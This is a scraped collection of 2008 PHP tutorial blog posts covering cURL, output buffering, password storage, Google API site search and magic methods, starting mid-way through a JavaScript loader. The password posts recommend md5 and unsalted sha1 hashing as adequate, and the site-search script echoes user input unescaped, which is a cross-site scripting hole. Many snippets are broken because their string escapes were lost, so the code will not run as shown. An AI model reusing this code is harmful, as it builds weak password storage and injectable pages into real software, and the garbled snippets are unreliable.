                Event.observe(script, 'readystatechange', function(e) {
                    if (this.readyState == 'loading')
                        return;
 
                    onload();
                }.bind(script));
            }
            else
                Event.observe(script, 'load', onload.bind(script));
        }
 
        $$('head')[0].insert(script);
    }
</script>

The following code shows an example of loading a file called scripts.js, in which a function called myFunction() is defined. This function is not available until the scripts.js file is loaded.

The script DOM element is passed as the first and only argument to the callback function.

<script type="text/javascript">
    loadJs('/path/to/scripts.js', function(script) {
        myFunction();
    });
</script>

Alternatively, you could define the callback function separately, as in the following:

<script type="text/javascript">
    function onScriptLoaded()
    {
        myFunction();
    }
 
    loadJs('/path/to/scripts.js', onScriptLoaded);
</script>

This function begins by creating the new DOM element (without yet adding it to the DOM). These four lines would be the equivalent to the HTML <script type="text/javascript" src="/path/to/file.js"></script>

Next we check whether or not a callback function has been defined (since it is optional). If the function is defined, we then check whether or not the browser is Internet Explorer.

If the browser is Internet Explorer, we observe the onreadystatechange event. This event is triggered when the file starts to load and when it has completed loading. Obviously we are only interested in when it has completed, so we check the readyState property.

For all other browsers we simply observe the onload event, which is fired only when the file has completed loading (as well as if the file is already in the browser cache).

In both cases, the Prototype bind() method is called in order to bind the script element to the callback. This means that when you refer to this in the callback, it refers to the script element.

Finally, the element is inserted into the DOM. This is done by inserting it into the head of the HTML document (retrieved using the Prototype $$() method.

The element should be inserted into the DOM as the final step since if it's done before observing the events, the events may be fired immediately if the file is already in the browser cache.

Cryptography for web developers - By PHP Expert

Wed, 10 Sep 2008 08:53:06 +0000

Cryptography is for most web developers like a vast and endless ocean of intimidating un-absorb-able information. Which is sad, since cryptography is so useful and in many situations absolutely necessary. I will not even try to explain why, since I consider developers that don't care about the security, and integrity of their end users a lost case.

Secret communication

To pass a secret message from a sender to a recipient, the message should be encrypted before it is sent, and decrypted in the other end. The encryption/decryption is done using "keys". A key is basically a few more or less random bytes.

A single key

In the most simple case, a single key is used for both encryption and decryption. This creates a problem, since the key has to be passed around to whomever might need to read the message. That creates a greater risk of the wrong persons to get access to the key.

Public/private key pairs

By exploiting some weird mathematical properties of prime numbers, the concept of public/private key pairs was developed. The idea is to use one key for the encryption of a message, and another key for the decryption. Let's call them A and B. Those keys always comes in pairs, and are selected carefully to match each other. When a message is encrypted with key A, the message can only be decrypted with key B, and vice-versa.

As the name implies, a public/private key pair is divided into a public key and a private key. The private key is kept strictly secret by it's owner. The public key, on the other hand, is openly shared with anyone who might want it. When someone wants to send a secret message, they would therefore encrypt the message with the recipients public key. The message is then only accessible with the private key from the same pair, which means only the intended recipient can decrypt it.

Pretty good authentication

Let's say someone is sending a message where it is very important that the receiver can be sure it comes from the expected sender. The sender can then "sign" the message by encrypting it with his private key. The recipient will then decrypt the message using the senders public key. If the decryption is successful, the recipient can be sure that the message was indeed encrypted with the senders private key, and therefore has not been altered after it was signed by the sender.

An interesting property of this kind of encryption is that a message can be encrypted with any number of keys and later decrypted, regardless of in which order the keys are applied. This means a message can be both signed with the senders private key, and encrypted with the recipients public key, or signed by several different persons, or encrypted with multiple keys, or encrypted and signed in any imaginable combination.

Public/private key pairs are implemented by SSL which is commonly used by the HTTPS protocol, and by PGP.

Easy stuff

This article is intended for web developers, and as such we rarely have much use for public/private key pairs. But don't despair! There is another class of much simpler one-way encryption you can start using today.

Digestion

The concept of digestion focuses on reducing any stream of data do a fixed size, unintelligible but deterministic "hash". There are a number of algorithms that do this. Their goal is to produce a hash that is as unpredictable as possible, with regards to the original input. In other words, given the hash, it should be as difficult as possible to find the original input.

With a perfect digestion algorithm there should be no other way to find the original input, than a simple brute force search, where you feed the digestion algorithm different input values until a matching hash is found. With long enough hashes, that could easily take thousands of years even on the worlds fastest supercomputers.

Two commonly used algorithms:

md5

This is a very commonly used algorithm. It has a number of flaws that makes it easier than it should be to calculate the original input.

sha1

A much better algorithm. It is not flawless, but it is generally easy to find an implementation for your favorite programming language. (I found one written in JavaScript!) It should be "good enough", since it is used by SSH, SSL and PGP.

There are many other stronger digestion algorithms, so you might want to put some more research into this, to find out which ones are available for your current programming environment.

Just remember that even md5 is infinitely better than nothing.

Passwords

The hash of a password (or any other data) is usually thought of as the fingerprint of that password. Any two distinct passwords should always give different hashes. This is of course impossible to guarantee, since there might be more possible passwords than there are possible hash values. However, finding two distinct passwords with the same hash is extremely unlikely.

To protect the integrity of your end users, it is wise to never store any passwords in plain text, but to digest them into a hash before they are stored. When the user enter his password, it is therefore not compared to a password stored in the database, but digested into a hash and compared to the stored hash. This means that if the hashes match, we can be sure the original passwords also match.

Plain wrong:

<?php

  if($EnteredPassword == $StoredPassword)

    LogIn();

?>

Slightly better:

<?php

  if(sha1($EnteredPassword) == $StoredHash)

    LogIn();

?>

Since you no longer store any actual plain text passwords in you database, you can worry a bit less about what would happen to the passwords if your server gets hacked, or stolen or abducted by aliens. But are the passwords really safe now? Not really.

Dictionary attacks

Let's assume the unthinkable happens and your database gets stolen. The thief don't have the actual passwords in there, so he can't simply read the username/password and log in. Let's also assume that you used some super efficient hashing algorithm forcing the thief to test potential passwords one by one until a matching hash is found.

What does this mean? If all users had chosen strong random passwords, they would be fine, but this is not a fairy tale, so they haven't. The passwords are full of "steve123", "password" and obscenities. Trust me, I've worked with passwords stored in plain text (my client made me do it), and I've seen it all. This means that the thief can take a dictionary of common words, digest it word-by-word into a dictionary of hashes and start comparing it to the stolen hashes. He will easily find lots of matches. He might even just do a Google search for the hash and find it listed together with the original password.

Enter password salt

A password salt is a random string that is unique for each user. It is stored in plain text, but instead of the password hash, we now store the hash of the password + the salt.

Much better:

<?php

  if(sha1($EnteredPassword . $StoredSalt) == $StoredHash)

    LogIn();

?>

We can still do the same kind of dictionary attack if we again digest each word in the dictionary, but this time together with the stored salt. But a dictionary attack is now impractical, because the whole dictionary has to be digested individually for each single password + salt hash. With n users that is n times more work. The thief might be happy to wait for a few hours, but not 100 000 hours.

How to POST Form Data using CURL - By PHP Expert

Mon, 08 Sep 2008 03:10:39 +0000

Posting Form Data with cURL
CURL is a very useful tool for a web programmer to be able to fully interact with another website or page. It stands for Client URL (Library), and contains many powerful features when used with php.

<?php
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, "http://www.google.com" );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$response = curl_exec( $ch );
print $response;
?>

Breakup:
Line 1: Create a curl handle and set it to the variable $ch
Line 2: Use the curl_setopt( ) function to set the url the script is targeting to google.com
Line 3: Use the parameter CURLOPT_RETURNTRANSFER to make the curl handle receive the response in a string when executed.
Line 4: Execute the curl script and put the response into $response.
Line 5: Output what google.com says.

Now, to add a pratical application of this incredibly powerful library. Use an HTTP POST request.

<?php

$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, "http://www.google.com" );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=Third_Degree&password=youwish" );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$response = curl_exec( $ch );
print $response;

?>

These two lines are the power of this script
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=Third_Degree&password=youwish" );

The URL specified earlier will now be dealing with the post fields username and password just like you submitted the form in your browser. This technique has an endless list of applications, and hopefully you will now have better control of the posting technique of cURL in PHP.

Always Be Notified When Google Crawls Your Site - By PHP Expert

Fri, 05 Sep 2008 10:05:31 +0000

Have you ever wanted to know when Google crawls your website? Well now you can using a simple PHP script which emails you everytime GoogleBot crawls your site.

I thought that many of you might find this bit of code useful, that is why I have decided to post it up.

It is not a very long piece of code, but I will talk you through how it functions.

First off lets take a look at the code:

<?php
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Googlebot' ) !== false )
{
// Your email address
$email_address = 'you@yourdomain.com';
// Send yourself an email
mail($email_address,'Googlebot Alert', 'The Googlebot has visited your page: '.$_SERVER['REQUEST_URI']);
}
?>

As you can see it is a simple piece of code.

First of all it checks the user agent to see if it is ‘Googlebot’. If the user agent is ‘Googlebot’ then it will send an email to the email address you supply.

Quick and Easy Google Site Search - By PHP Expert

Fri, 05 Sep 2008 10:12:08 +0000

Resources

The Google API - http://www.google.com/apis/

Advanced Google searches - http://www.google.com/help/refinesearch.html

PHP script "nusoap" - http://sourceforge.net/projects/nusoap/

There are three steps to creating this site-specific search engine. 1) Get a license key from Google, 2) download the PHP script, "nusoap" and finally, 3) install a short script to initiate the search and format the HTML output.

nusoap

nusoap is a PHP script that will facilitate use of the Google API. It is available from the URL, http://sourceforge.net/projects/nusoap/. Go to this site and find the download link about halfway down the page. At the time of writing the latest version was 0.6.7. The file is zipped but don't let that discourage you from using it on a non-Windows server. It works just as well using Apache and Linux as it does using Internet Information Server and Windows. You will, of course have to have PHP installed on your server. If it is not already installed then it is probably time to find a new web host.

There are a number of files compressed into the zipped file but "nusoap.php" is the only one we need to be concerned about. If you are familiar with PHP you may want to have a look at the other files. I will just mention though that the script we develop is a modification of the "client3.php" file.

Google API

API stands for "Application Programming Interface" ? it is simply a means to tap into the Google search engine without having to actually point your browser at their site. It allows you to perform Google searches programmatically.

You may find out about the Google API at http://www.google.com/apis/. You need not download the example code but you will need to create a Google account and get a license key. This license key will allow you to initiate 1000 searches per day using the Google API. Check your website statistics and if you are getting fewer than 500 visits per day then this number of searches will most likely be more than adequate.

The Code

Let's first create the form that will invoke the search page:

Search this site: <br />

<form method="get" name="search"

action="search.php">

<input type="text" name="criterion" style="width:100px" /><br />

<input style="margin-top:5px" type="submit" value="Submit" />

</form>

Insert this code into the page that you intend to search from ? for the sake of easy reference let's call that page "searchfrom.html".

The code that actually performs the search is below (based on the "client3.php" file):

<html>

<head>

<title>Site Search Page</title>

</head>

<body>

<?php

require_once("nusoap.php");

$criterion=@$_GET["criterion"];

if(strpos($criterion, """)){

      $criterion = stripslashes($criterion);

      echo "<b>$criterion</b>";

}else

      echo ""<b>$criterion</b>".</p>";

$query=$criterion;

//your site here

$query .= " site:www.yoursite.com";

//your Google key goes here

$key = "yourgooglekey";

//change the value below if you like

$maxresults = 10;

$start = 0;

$parameters = array(

      'Googlekey'=>$key,

      'queryStr'=>$query,

      'startFrom'=>$start,

      'maxResults'=>$maxresults,

      'filter'=>true,

      'restrict'=>'',

      'adultContent'=>true,

      'language'=>'',

      'iencoding'=>'',

      'oendcoding'=>''

);

$client = new

soapclient("http://api.google.com/search/beta2");

$result = $client->call("doGoogleSearch", $parameters,

"urn:GoogleSearch");

$searchtime = $result["searchTime"];

$total = $result["estimatedTotalResultsCount"];

if($total > 0){

  $rs = $result["resultElements"];

  $output="";

  for ($i = 0; $i < $total; $i++){

    if (!isset($rs[$i])) break;

    $element = $rs[$i];

    //$title=$element["title"];

    $url = $element["URL"];

    $snippet = $element["snippet"];

    $output.= "<p><a href="$url">".basename($url)."</a> $snippet</p>n";

  echo $output;

  echo "<br /><br />Search time: $searchtime seconds.";

}else

  echo "<br /><br />Nothing found.";

?>

</body>

</html>

Save this code as "search.php" making sure that you use the file extension "php".

The changes you need to make to this script are shown in bold. Substitute your domain name for "www.yoursite.com" and your Google key for "yourgooglekey" making sure to enclose both items in quotation marks. Change the value of "$maxresults" if you wish to have fewer or more results.

To sum up, we now have three files that need to be located in the same directory, "searchfrom.html", "nusoap.php" and "search.php". Entering a criterion into the textbox on the "searchfrom.html" page will open the "search.php" page and display the results of your search - limited to the specified site. These results will show a snippet of text and a hyperlink to the page on which your criterion appears. Visitors to your site can now easily find items of interest and quickly navigate to them.

Changes & Improvements

Depending upon your knowledge of PHP and HTML this code can be customised and changed in a number of ways. We have already shown how the number of results returned can be adjusted but you might also want to add a pop-up window of search hints for your site visitors. Let them know that they can search for a single word, or a group of words, or a specific phrase if they enclose the expression in quotation marks.

Another useful element returned from Google is the page title. I've put it into the "search.php" page to show how to access it but have commented it out. One possible use for this piece of information would be to limit search results to a specifically named page. I'll let you determine how this might be done.

As you can see our script uses one of the Google advanced search techniques (see http://www.google.com/help/refinesearch.html ), a criterion, the word "site" followed by a semicolon and then a domain name. In the same way as we have done here, you could easily change this code to search instead for specific file types by using something like " filetype:pdf" instead of " site:www.yoursite.com".

You may also want to indicate to visitors that your site search is Google-based. You may certainly do this but check out the terms and conditions of use at http://www.google.com/apis/api_terms.html.

Some Limitations

It might be said that any web surfer could do exactly what is described here by opening a separate instance of their browser and doing a site-specific search themselves. Quite true, but how many people would know how to do this and even if they knew, how many would actually do it? Most web surfers will appreciate the convenience of being provided with a site-specific search capabilities embedded right into your site.

As already mentioned, this is not the solution for a high-traffic site where many searches will be initiated. Nor is it a solution for a newly posted site. Until a site is indexed by Google no search results will be returned. Likewise, recent changes to a site will not be found until the Googlebot visits and registers them.

Additionally, some of the less common character entities are not rendered correctly. I noticed no problem with common entities such as "<" and "&" but less common ones such as "…" were simply rendered as question marks.

That said though, using the Google API in conjunction with the "nusoap" script is a quick and easy way to implement a site-specific search. This is particularly useful for sites that are content-rich and it is an excellent additional service to propose to your clients once their newly created site shows up on Google.

Page Excerpts Using CURL - By PHP Expert

Mon, 01 Sep 2008 02:42:53 +0000

Get Started

CURL is a library of functions that allows you to connect to different servers using a variety of protocols. In this article, we will only be concerned with the "http" protocol.

Most web servers have the CURL package installed but you can verify if yours does by creating a file called "info.php" with the following contents:

<?php

   phpinfo();

?>

Upload this file to your server and then open it in your browser. You should see a page that provides information about the configuration of PHP on your server. Use the "find" feature of your browser and search for "CURL". If CURL is enabled you are all set to go.

What to Display

Point your browser at the site you wish to excerpt and when the page has loaded right click a blank area of the screen. Choose the drop-down menu option that allows you to view the HTML source code and find the portion of the page that you wish to display.

Select 10 or 15 characters of text that begin the portion of the page you are interested in. Make sure that the text you select occurs only at this one location by searching the page for other occurrences. If it is not unique keep selecting text until it is. Save this text selection to a file called "start.txt". Now do the same thing for the terminating text and save this as "end.txt" making sure that the last selected character terminates what you want to display.

You now have everything you need to display only a portion of a page from an external site.

The Code

Find below the required code:

<html>

<head>

<title>Local Events</title>

</head>

<body>

<div style="margin-left:30px">

<?php

$url =

"http://www.thedomain/page.html";

//unique text to determine start goes here

$start = "yourstart";

//insert end text here

$end = "yourend";

//give credit to the originator

echo "Courtesy of <a href =

"$url">$url.</a><br /><br />";

$ch = curl_init();

curl_setopt ($ch, CURLOPT_URL, $url );

curl_setopt ($ch, CURLOPT_HEADER, 0);

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec ($ch) or die ("Couldn't connect to

$url.");

curl_close ($ch);

$startposition = strpos($result,$start);

if($startposition > 0){

  $endposition = strpos($result,$end, $startposition);

  //add enough chars to include the tag

  $endposition += strlen($end);

  $length = $endposition-$startposition;

  $result = substr($result,$startposition,$length);

  echo $result;

}else

  echo "<center><h3>Not found - try again

later.</h3></center>";

?>

</div>

</body>

</html>

In this code, the CURL package returns the contents of a web page into a string variable. We then search this variable for the portion we are interested in, copy it and then output it to the browser.

Pay special attention to the bolded items above. Substitute the page address you are interested in excerpting for "www.thedomain/page.html" making sure that you don?t delete or overwrite "http://". Retrieve the "start.txt" and the "end.txt" files and replace "yourstart" and "yourend" with the contents of those files, being sure to preserve the quotation marks. With these simple changes you can incorporate specific content from an external web site into your own site.

We?ve chosen to display this page extract in its own page but you may insert this excerpt into an existing page by simply copying the PHP code and ignoring the HTML. Keep the reference to the originating page ? you want to give credit where credit is due.

Conclusion

Should the page that you are excerpting change you will have to adjust the code accordingly. The originating host may remove the page altogether so check regularly to be sure that it is still there.

If you know something about PHP have a look at the documentation of the CURL package. The "http" protocol is probably most commonly used with CURL but other protocols such as "ftp" and telnet are also supported. With a little imagination I?m sure you can find many more uses for this package.

Output Buffering in PHP - By PHP Expert

Fri, 29 Aug 2008 10:34:22 +0000

Output Buffering in PHP

How to capture content for server-side caching in PHP.

Since version 4, PHP has supported output buffering. Output buffering allows you to have all output from a script stored in a buffer instead of having it immediately transmitted to the client.

If you wanted to capture the output of a script before output buffering, you would have to write this to a string and then echo that when the string is complete:

<?php

  $output = "<HTML><BODY>";

  $output .= "Today is ".strftime("%A, %B %e %Y");

  $output .= "</BODY></HTML>";

  echo $output;

  cache($output);

?>

If you are old enough to have learned Web programming with Perl-based CGI scripts, this likely sends a shiver of painful remembrance down your spine! If you're not that old, you can just imagine an era when Web scripts looked like this.

With output buffering, the script looks normal again. All you do is add this before you start actually generating the page:

<?php ob_start(); ?>

This turns on output buffering support. All output henceforth is stored in an internal buffer. Then you add the page code exactly as you would in a regular script:

HTML Code

<HTML>

<BODY>

Today is <?= strftime("%A, %B %e %Y") ?>

</BODY>

</HTML>

After all the content is generated, you grab the content and flush it:

PHP Code

<?php

  $output = ob_get_contents();

  ob_end_flush();

  cache($output);

?>

ob_get_contents() returns the current contents of the output buffer as a string. You can then do whatever you want with it. ob_end_flush() stops buffering and sends the current contents of the buffer to the client. If you wanted to just grab the contents into a string and not send them to the browser, you could call ob_end_clean() to end buffering and destroy the contents of the buffer. It is important to note that both ob_end_flush() and ob_end_clean() destroy the buffer when they are done. In order to capture the buffer's contents for later use, you need to make sure to call ob_get_contents() before you end buffering.

Using Output Buffering with `header()` and `setcookie()`

A number of the online examples for output buffering use as an example of sending headers after page text. Normally if you do this:

PHP Code

<?php

        print "Hello World";

        header("Content-Type: text/plain");

?>

You get this error:

Cannot add header information - headers already sent

In an HTTP response, all the headers must be sent at the beginning of the response, before any content (hence the name headers). Because PHP by default sends out content as it comes in, when you send headers after page text, you get an error. With output buffering, though, the transmission of the body of the response awaits a call to flush(), and the headers are sent synchronously. Thus the following works fine:

PHP Code
<?php ob_start(); print "Hello World"; header("Content-Type: text/plain"); ob_end_flush(); ?>
Select all

PHP Code

<?php

        ob_start();

        print "Hello World";

        header("Content-Type: text/plain");

        ob_end_flush();

?>

Select all

I see this as less an example of the usefulness of output buffering than as an illustration of how some sloppy coding practices. Sending headers after content is generated is a bad design choice because it forces all code that employs it to always use output buffering. Needlessly forcing design constraints like these on code is a bad choice.

Password Encryption in PHP - By PHP Expert

Fri, 29 Aug 2008 10:34:43 +0000

If you run a serious webpage where you save login information for your members to a database it is generally a very good idea to perform some kind of encryption on these password to prevent the information to be shared in case your datebase would be hacked.

Encryption is very easy to do with PHP in fact all you need to perform a “one way encryption” is the function crypt(). As an example say that we have the variables $user and $password and we want to encrypt the $password variable before we store it in the database. To do this we use the following function:

$crypted_pass = crypt(md5($password),md5($user));

What this does is that it generates an encrypted string from the md5 encoded $password with the $user string as security salt and voila we have an encrypted string ready to be saved to the database. This string can not be decrypted so if we want to use it to verify if someone typed in a correct password for a specific user we need to encode the input in the same way and compare it to the encrypted password.

$try_password = crypt(md5($password),md5($user));
  if($crypted_pass == $try_password)
   echo "success";
else
   echo "wrong password";

Now with the passwords encrypted we will buy enough time to be able to change everyones user info in case of the database being hacked and the information leaked.

Exception Handling - By PHP Expert

Fri, 29 Aug 2008 10:34:52 +0000

PHP has some really sweet new features and one of them is the ability to throw and catch exceptions.
When I was browsing Sitepoint I read a post saying that the only thing they need to do is get rid of the class-"hinting" in the catch clause. I guess they didn't get the point of extending the base Exception class.
I've found extending the Exception class useful when reporting the errors back from a Database connection object. Basically I wanted to return a message array to describe the problem in English, then with additional messages from MySQL. This is really just so I can separate HTML from the PHP, for instance I could just return "Could not connect to database: " . mysql_error() and be done with it, but if a design changes and strong isn't applicable or something, it's not that much good. Ok, so perhaps I'm just being anally-retentive but it's cool to demonstrate anyway.
class DatabaseException extends Exception
{
private $error;    (1)

function __construct($error) (2)
{
    $this->error = $error;
}

function getMessageArray()
{
    return $this->error;
}

}
1.    Yup, you use either "public" "private" or "protected" when declaring variables now. Unfortunately they're not C++ style-so you have to use them for each variable.
2.    Also you use __construct for constructors.
Next the simple database class:
class Database
{
private $host;
private $password;
private $user;
private $database;
public $connection_tracker;

function __construct($host, $user, $password, $database)
{
    $this->host = $host;
    $this->password = $password;
    $this->user = $user;
    $this->database = $database;
    $this->connect();
}

function connect()
{
    if (!$this->connection_tracker = @mysql_connect($this->host, $this->user, $this->password))
    {
      $error_array = array ( (1)
      "message" => "Could not connect to MySQL daemon",
      "database_reports" => mysql_error()
      );

      throw new DatabaseException($error_array);
    }
}
}
1.    Passing the array of messages we want to the class to access:
try
{
$Database = new Database('localhost', 'rot', 'discovery', 'table'); (1)
}

catch (DatabaseException $e)
{
$error_messages = $e->getMessageArray();
echo $error_messages['message'];
echo $error_messages['database_reports'];
}
1.    Username supposed to be root.
Pretty cool eh? Now you can put the HTML around it as required by the design. Anally retentive, sure, but I'm sure you can think of some other uses from extending the Exception class

New Directives - By PHP Expert

Fri, 29 Aug 2008 10:35:06 +0000

There were some new php.ini directives introduced in PHP 5. Here is a list of them: mail.force_extra_parameters - Force the addition of the specified parameters to be passed as extra parameters to the sendmail binary. These parameters will always replace the value of the 5th parameter to mail(), even in safe mode

register_long_arrays - allow/disallow PHP to register the deprecated long $HTTP_*_VARS

session.hash_function - select a hash function (MD5 or SHA-1)

session.hash_bits_per_character - define how many bits are stored in each character when converting the binary hash data to something readable (from 4 to 6)

zend.ze1_compatibility_mode - Enable compatibility mode with Zend Engine 1 (PHP 4)

New Functions in PHP 5

Mon, 25 Aug 2008 18:00:18 +0000

In PHP 5 there are some new functions. Here is the list of them:
Arrays:
array_combine() - Creates an array by using one array for keys and another for its values array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
array_udiff() - Computes the difference of arrays by using a callback function for data comparison
array_udiff_assoc() - Computes the difference of arrays with additional index check. The data is compared by using a callback function
array_udiff_uassoc() - Computes the difference of arrays with additional index check. The data is compared by using a callback function. The index check is done by a callback function also
array_walk_recursive() - Apply a user function recursively to every member of an array
array_uintersect_assoc() - Computes the intersection of arrays with additional index check. The data is compared by using a callback function
array_uintersect_uassoc() - Computes the intersection of arrays with additional index check. Both the data and the indexes are compared by using a callback functions
array_uintersect() - Computes the intersection of arrays. The data is compared by using a callback function
InterBase:
ibase_affected_rows() - Return the number of rows that were affected by the previous query
ibase_backup() - Initiates a backup task in the service manager and returns immediately
ibase_commit_ret() - Commit a transaction without closing it
ibase_db_info() - Request statistics about a database
ibase_drop_db() - Drops a database
ibase_errcode() - Return an error code
ibase_free_event_handler() - Cancels a registered event handler
ibase_gen_id() - Increments the named generator and returns its new value
ibase_maintain_db() - Execute a maintenance command on the database server
ibase_name_result() - Assigns a name to a result set
ibase_num_params() - Return the number of parameters in a prepared query
ibase_param_info() - Return information about a parameter in a prepared query
ibase_restore() - Initiates a restore task in the service manager and returns immediately
ibase_rollback_ret() - Rollback transaction and retain the transaction context
ibase_server_info() - Request statistics about a database
ibase_service_attach() - Connect to the service manager
ibase_service_detach() - Disconnect from the service manager
ibase_set_event_handler() - Register a callback function to be called when events are posted
ibase_wait_event() - Wait for an event to be posted by the database
iconv:
iconv_mime_decode() - Decodes a MIME header field
iconv_mime_decode_headers() - Decodes multiple MIME header fields at once
iconv_mime_encode() - Composes a MIME header field
iconv_strlen() - Returns the character count of string
iconv_strpos() - Finds position of first occurrence of a needle within a haystack
iconv_strrpos() - Finds the last occurrence of a needle within a haystack
iconv_substr() - Cut out part of a string
Streams:
stream_copy_to_stream() - Copies data from one stream to another
stream_get_line() - Gets line from stream resource up to a given delimiter
stream_socket_accept() - Accept a connection on a socket created by
stream_socket_server()
stream_socket_client() - Open Internet or Unix domain socket connection
stream_socket_get_name() - Retrieve the name of the local or remote sockets
stream_socket_recvfrom() - Receives data from a socket, connected or not
stream_socket_sendto() - Sends a message to a socket, whether it is connected or not
stream_socket_server() - Create an Internet or Unix domain server socket
Date and time related:
idate() - Format a local time/date as integer
date_sunset() - Time of sunset for a given day and location
date_sunrise() - Time of sunrise for a given day and location
time_nanosleep() - Delay for a number of seconds and nanoseconds
Strings:
str_split() - Convert a string to an array
strpbrk() - Search a string for any of a set of characters
substr_compare() - Binary safe optionally case insensitive comparison of two strings from an offset, up to length characters
Other:
convert_uudecode() - decode a uuencoded string
convert_uuencode() - uuencode a string
curl_copy_handle() - Copy a cURL handle along with all of its preferences
dba_key_split() - Splits a key in string representation into array representation
dbase_get_header_info() - Get the header info of a dBase database
dbx_fetch_row() - Fetches rows from a query-result that had the DBX_RESULT_UNBUFFERED flag set
fbsql_set_password() - Change the password for a given user
file_put_contents() - Write a string to a file
ftp_alloc() - Allocates space for a file to be uploaded
get_declared_interfaces() - Returns an array of all declared interfaces
get_headers() - Fetches all the headers sent by the server in response to a HTTP request
headers_list() - Returns a list of response headers sent (or ready to send)
http_build_query() - Generate URL-encoded query string
image_type_to_extension() - Get file extension for image-type returned by getimagesize(), exif_read_data(), exif_thumbnail(), exif_imagetype()
imagefilter() - Applies a filter to an image using custom arguments
imap_getacl() - Gets the ACL for a given mailbox
ldap_sasl_bind() - Bind to LDAP directory using SASL
mb_list_encodings() - Returns an array of all supported encodings
pcntl_getpriority() - Get the priority of any process
pcntl_wait() - Waits on or returns the status of a forked child as defined by the waitpid() system call
pg_version() - Returns an array with client, protocol and server version (when available)
php_check_syntax() - Check the syntax of the specified file
php_strip_whitespace() - Return source with stripped comments and whitespace
proc_nice() - Change the priority of the current process
pspell_config_data_dir() - Change location of language data files
pspell_config_dict_dir() - Change location of the main word list
setrawcookie() - Send a cookie without URL-encoding the value
scandir() - List files and directories inside the specified path
snmp_read_mib() - Reads and parses a MIB file into the active MIB tree
sqlite_fetch_column_types() - Return an array of column types from a particular table

Dynamic Getter/Setter Methods - By PHP Expert

Fri, 29 Aug 2008 10:35:22 +0000

The following code implements "dynamic" getter and setter methods for controlling class properties with the help of method overloading. Again, read the source code. Don't be afraid if you are unable to understand all of it--an explanation follows the code.
<?php
class DynamicGetterSetter {
private $name = "Martin Jansen";
private $starbucksdrink = "Caramel Cappuccino Swirl";
function __call($method, $arguments) {
$prefix = strtolower(substr($method, 0, 3));
$property = strtolower(substr($method, 3));
if (empty($prefix) || empty($property)) {
return;
}

if ($prefix == "get" && isset($this->$property)) {
return $this->$property;
}

if ($prefix == "set") {
$this->$property = $arguments[0];
}
}
}

$class = new DynamicGetterSetter;

echo "Name: " . $class->getName() . "n";
echo "Favourite Starbucks flavour: " . $class->getStarbucksDrink() . "nn";

$class->setName("John Doe");
$class->setStarbucksDrink("Classic Coffee");

echo "Name: " . $class->getName() . "n";
echo "Favourite Starbucks flavour: " . $class->getStarbucksDrink() . "nn";
?>

As you can see, the two class properties $name and $starbucksdrink are both private, which means that nothing can access those properties directly from outside the class. In object-oriented programming, it's common to implement public getter and setter methods for accessing and modifying the values of nonpublic properties. Implementing those methods is a rather monotonous task and, while easy to achieve using copy and paste, still consumes time and energy.
Method overloading is an easy way to circumvent this task. Instead of implementing getters and setters for every single property, the above code implements only the __call() wildcard method. This means that when calling an undefined getter or setter like setName() or getStarbucksdrink(), PHP does not abort with a fatal error, but instead executes (or delegates to) the magic __call() method.
Those are the basics, but __call() is more complex.

A look inside __call()
The first argument of __call() is the name of the original, unfound method (setName, for example). The second one is a one-dimensional, numerically indexed array containing all of the arguments for the original method. Calling an undefined method with two arguments, "Martin" and 42, will result in the following array:

$class->thisMethodDoesNotExist("Martin", 42);

// leads to the second argument of __call():
Array
(
[0] => Martin
[1] => 42
)

Inside __call(), an evaluation takes place if the name of the original method starts with get or set in order to figure out whether the code called a getter or a setter. Additionally, the method looks at the rest of the method name (minus the first three characters), because this string marks the name of the property to which the "virtual" getter or setter refers.

If the method name indicates a getter or setter, the method must either return the value of the corresponding property or set its value to the first argument of the original method. Otherwise it does nothing, continuing the programming execution as if nothing had happened.

The Achieved Goal
In essence, this is a way that allows code to dynamically call arbitrary getter and setter methods for arbitrary properties. This becomes especially handy in situations such as developing an application prototype in a short period of time: instead of wasting man-hours on implementing getters and setters, developers can focus on modeling the API and getting the application's fundamentals right. Outsourcing __call() into an abstract class even allows you to reuse the code during the development phase of all your future PHP projects!

Disadvantages

Where there is light, there is also shadow. Some disadvantages are here too: bigger projects likely use a tool such as phpDocumentor to keep track of the API structure. Using the above trick for dynamic methods, all getter and setter methods will of course not appear in any automatically generated documentation, because the "stupid" generators cannot figure out that __call() is a wildcard for all get* and set* methods.
Another disadvantage is the fact that code outside of the class has access to every private property. When using real getter and setter methods, it's possible to distinguish between private properties that external code may access and really private properties that are totally invisible from the outside. With method overloading enabled, this distinction is no longer possible, because there are virtual getter and setter methods for everything.

Conclusion
Congratulations if you've made it here! Now that you are aware of the possibilities that overloading offers, you have something at your fingertips that allows you to save quite a bit of time and work in the early (and probably also later) stages of your future projects. Really, what's better than telling your boss that you've finished the prototype of that next project long before it's due?

Persistable Classes - By PHP Expert

Fri, 29 Aug 2008 10:35:37 +0000

The following code snippet implements the above-mentioned persistable class in less than 50 lines of PHP code by using property overloading. The term persistable means that the class can represent an element from a data structure while keeping it synchronized with an underlying storage system. This rather scientific explanation means in practice that other code can use the class to select a row from a database table. Directly accessing the class properties during runtime manipulates the elements of this row (by both reading and writing). When the script ends, PHP will take care of writing the updated row data back to the database.

Look through the code now to get a first impression of what is happening. After the code is a walk-through of the relevant parts of the code. At the end, you'll have a solid understanding of property overloading.

<?php
// Load the PEAR DB package
require_once "DB.php";

class Persistable {

private $data = array();
private $table = "users";

public function __construct($user) {
$this->dbh = DB::Connect("mysql://user:password@localhost/database");

$query = "SELECT id, name, email, country FROM " .
$this->table . " WHERE name = ?";
$this->data = $this->dbh->getRow($query, array($user),
DB_FETCHMODE_ASSOC);
}

public function __get($member) {
if (isset($this->data[$member])) {
return $this->data[$member];
}
}

public function __set($member, $value) {
// The ID of the dataset is read-only
if ($member == "id") {
return;
}

if (isset($this->data[$member])) {
$this->data[$member] = $value;
}
}

public function __destruct() {
$query = "UPDATE " . $this->table . " SET name = ?,
email = ?, country = ? WHERE id = ?";
$this->dbh->query($query, $this->name, $this->email,
$this->country, $this->id);
}
}

